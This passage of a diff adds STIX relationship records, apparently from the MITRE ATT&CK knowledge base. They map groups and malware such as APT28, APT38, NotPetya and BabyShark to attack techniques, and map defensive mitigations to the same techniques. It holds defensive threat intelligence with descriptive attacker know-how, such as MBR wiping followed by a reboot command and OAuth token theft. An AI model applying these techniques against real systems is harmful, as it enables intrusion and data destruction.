"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-27T19:01:29.771Z", + "id": "relationship--1071d72e-9ea8-43df-8e82-2831fe0652b7", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-09-27T19:01:29.771Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "description": "Periodically check the integrity of images and containers used in cloud deployments to ensure they have not been modified to include malicious software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-03T12:30:34.246Z", + "id": "relationship--f7a8b397-ecf3-456e-a395-568a41048609", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-22T19:49:39.790Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "description": "Limit permissions associated with creating and modifying platform images or containers based on the principle of least privilege.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-03T15:30:27.826Z", + "id": "relationship--8dfdc783-d869-498b-b4e0-1d75b30e2d67", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-22T19:49:39.802Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "Protect domain controllers by ensuring proper security configuration for critical servers to limit access by potentially unnecessary protocols and services, such as SMB file sharing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-03T18:21:39.015Z", + "id": "relationship--ff7f776f-001a-4c86-b359-08c89bd08b3e", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-10-23T14:49:39.707Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-03T18:28:15.111Z", + "id": "relationship--8e11a6ff-7e98-4f69-8eb7-4ecee2912345", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-10-10T21:08:25.539Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "Enterprise email solutions have monitoring mechanisms that may include the ability to audit auto-forwarding rules on a regular basis.\n\nIn an Exchange environment, Administrators can use Get-InboxRule to discover and remove potentially malicious auto-forwarding rules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-03T19:28:39.221Z", + "id": "relationship--d60b92c6-2030-4802-8d7d-868ff15f3b0c", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-08T20:59:13.852Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Search Results Web Result with Site Links Tim McMichael. (2014, July 28). Exchange and Office 365: Mail Forwarding. Retrieved August 27, 2019.", + "source_name": "TIMMCMIC, 2014", + "url": "https://blogs.technet.microsoft.com/timmcmic/2014/07/28/exchange-and-office-365-mail-forwarding/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "description": "File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T18:21:47.437Z", + "id": "relationship--f3a3e55d-d2bd-4ae6-85ae-b8a3046f4b75", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-10-22T19:53:16.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T18:43:57.650Z", + "id": "relationship--ae0b56df-e692-4210-85e4-8ded095cdbc3", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-10-11T21:44:07.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "description": "Users need to be trained to not authorize third-party applications they don\u2019t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. For example, offline access and access to read emails should excite higher suspicions because adversaries can utilize SaaS APIs to discover credentials and other sensitive communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T19:37:26.696Z", + "id": "relationship--9c3d1701-b0ed-4a20-a864-d2681535cfa8", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-10-18T15:20:05.591Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications to steal user OAuth access tokens including applications masquerading as \"Google Defender\" \"Google Email Protection,\" and \"Google Scanner\" for Gmail users. They also targeted Yahoo users with applications masquerading as \"Delivery Service\" and \"McAfee Email Protection\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T19:41:47.000Z", + "id": "relationship--d348102c-89dc-452a-b86d-2460928defaa", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-10-11T21:44:07.782Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will shut down the compromised system after it is done modifying system configuration settings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T21:49:25.790Z", + "id": "relationship--4932951a-b313-4024-bbad-434de3b747c5", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-10-04T21:49:25.790Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed shutting down infected systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T21:56:21.628Z", + "id": "relationship--3c7bb2a4-eede-4dae-ac41-03782729a961", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-10-04T21:56:21.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "source_name": "Wired Lockergoga 2019", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) will reboot the system one hour after infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T22:01:16.034Z", + "id": "relationship--aa158d48-a9f5-49bb-8f15-166705f29b36", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-10-04T22:01:16.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used malware that will issue the command shutdown /r /t 1 to reboot a system after wiping its MBR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T22:07:45.879Z", + "id": "relationship--63759ea4-5bf1-408d-a1cc-e7f52e3aca1b", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-10-04T22:07:45.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "source_name": "Talos Group123", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T22:16:08.175Z", + "id": "relationship--53c8e757-8043-4d08-8bd6-8d02d2b973cb", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-10-04T22:16:08.175Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has rebooted systems after destroying files and wiping the MBR on infected systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T22:20:20.853Z", + "id": "relationship--cc31afad-6349-4b66-a0a9-cd8f9de46aec", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-10-04T22:20:20.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "source_name": "US-CERT SHARPKNOT June 2018", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "description": "Configure user permissions groups and roles for access to cloud storage. Implement strict Identity and Access Management (IAM) controls to prevent access to storage solutions except for the applications, users, and services that require access. Ensure that temporary access tokens are issued rather than permanent credentials, especially when access is being granted to entities outside of the internal security boundary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:15:29.999Z", + "id": "relationship--22dfe85e-3eeb-4b0a-ac61-b80f70a1f092", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-22T20:02:00.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure Storage Security, 2019", + "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide" + }, + { + "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.", + "source_name": "Amazon S3 Security, 2019", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/" + }, + { + "description": "Amazon. (n.d.). Temporary Security Credentials. Retrieved October 18, 2019.", + "source_name": "Amazon AWS Temporary Security Credentials", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "description": "Consider using multi-factor authentication to restrict access to resources and cloud storage APIs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:15:30.002Z", + "id": "relationship--ee3162ad-e88e-401c-9fdf-e7f0784141a4", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-10-22T20:02:00.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "description": "Encrypt data stored at rest in cloud storage. Managed encryption keys can be rotated by most providers. At a minimum, ensure an incident response plan to storage breach includes rotating the keys and test for impact on client applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:15:30.004Z", + "id": "relationship--55fa32b7-b9d2-4c57-9614-b7793b2770f2", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-10-22T20:02:00.772Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure Storage Security, 2019", + "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide" + }, + { + "description": "Google. (n.d.). Key rotation. Retrieved October 18, 2019.", + "source_name": "Google Cloud Encryption Key Rotation", + "url": "https://cloud.google.com/kms/docs/key-rotation" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "description": "Frequently check permissions on cloud storage to ensure proper permissions are set to deny open or unprivileged access to resources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:15:30.005Z", + "id": "relationship--e3e50d39-fa69-4fca-9353-259247dbd439", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-22T20:02:00.783Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "description": "Use access control lists on storage systems and objects.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:15:30.007Z", + "id": "relationship--be61f77a-93a3-4699-b134-52b199c7b196", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-10-22T20:02:00.789Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for password spraying against Exchange and Office 365.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:34:01.271Z", + "id": "relationship--b85cff83-6468-4c63-9b25-4ac75fcb0e10", + "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "modified": "2019-10-07T18:37:25.434Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.", + "source_name": "GitHub MailSniper", + "url": "https://github.com/dafthack/MailSniper" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for searching through email in Exchange and Office 365 environments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:34:01.287Z", + "id": "relationship--03a65a95-b802-49ee-bec1-a65cccec0e89", + "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "modified": "2019-10-05T02:34:01.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.", + "source_name": "GitHub MailSniper", + "url": "https://github.com/dafthack/MailSniper" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05T02:35:42.069Z", + "id": "relationship--a55d75ab-f5bb-4892-80de-c878be26a67d", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-10-05T02:35:42.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "source_name": "Symantec Leafminer July 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used to obtain account names from Exchange and Office 365 using the Get-GlobalAddressList cmdlet.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-06T19:08:28.953Z", + "id": "relationship--d2437ab0-888b-4490-a825-f70a490b7192", + "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "modified": "2019-10-06T19:08:28.953Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Black Hills Attacking Exchange MailSniper, 2016", + "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "Limit or restrict program execution using anti-virus software. On MacOS, whitelist programs that are allowed to have the plist tag. All other programs should be considered suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T17:47:39.651Z", + "id": "relationship--a80b33dc-0fe2-4b0d-a815-51a036fa410f", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-10-15T22:00:58.849Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to launch a malicious process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T18:49:09.822Z", + "id": "relationship--cdf7492f-4cdd-4119-aa5e-0d94a07a3965", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "modified": "2019-10-07T18:49:09.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has cleaned up all files associated with the secondary payload execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.015Z", + "id": "relationship--95dbd3ec-820c-47af-9734-78c39b092bc4", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Apr 2019", + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has a [PowerShell](https://attack.mitre.org/techniques/T1086)-based remote administration ability that can implement a PowerShell or C# based keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.030Z", + "id": "relationship--3a0c8e81-6110-4cf3-a965-b700e00fd66c", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-14T19:52:22.589Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Apr 2019", + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.045Z", + "id": "relationship--18d97b33-8ad5-426e-a390-72bea109bee0", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-14T19:52:22.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Apr 2019", + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used cmd.exe to execute commands.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.060Z", + "id": "relationship--fc9a56ec-ef5f-4e45-b004-fe395d6b6d3f", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the ver command.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.062Z", + "id": "relationship--906699ff-a10f-4527-9173-326965cc51a2", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the whoami command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.065Z", + "id": "relationship--09fbfb74-459a-441b-9e07-96c146a26be3", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has encoded data using 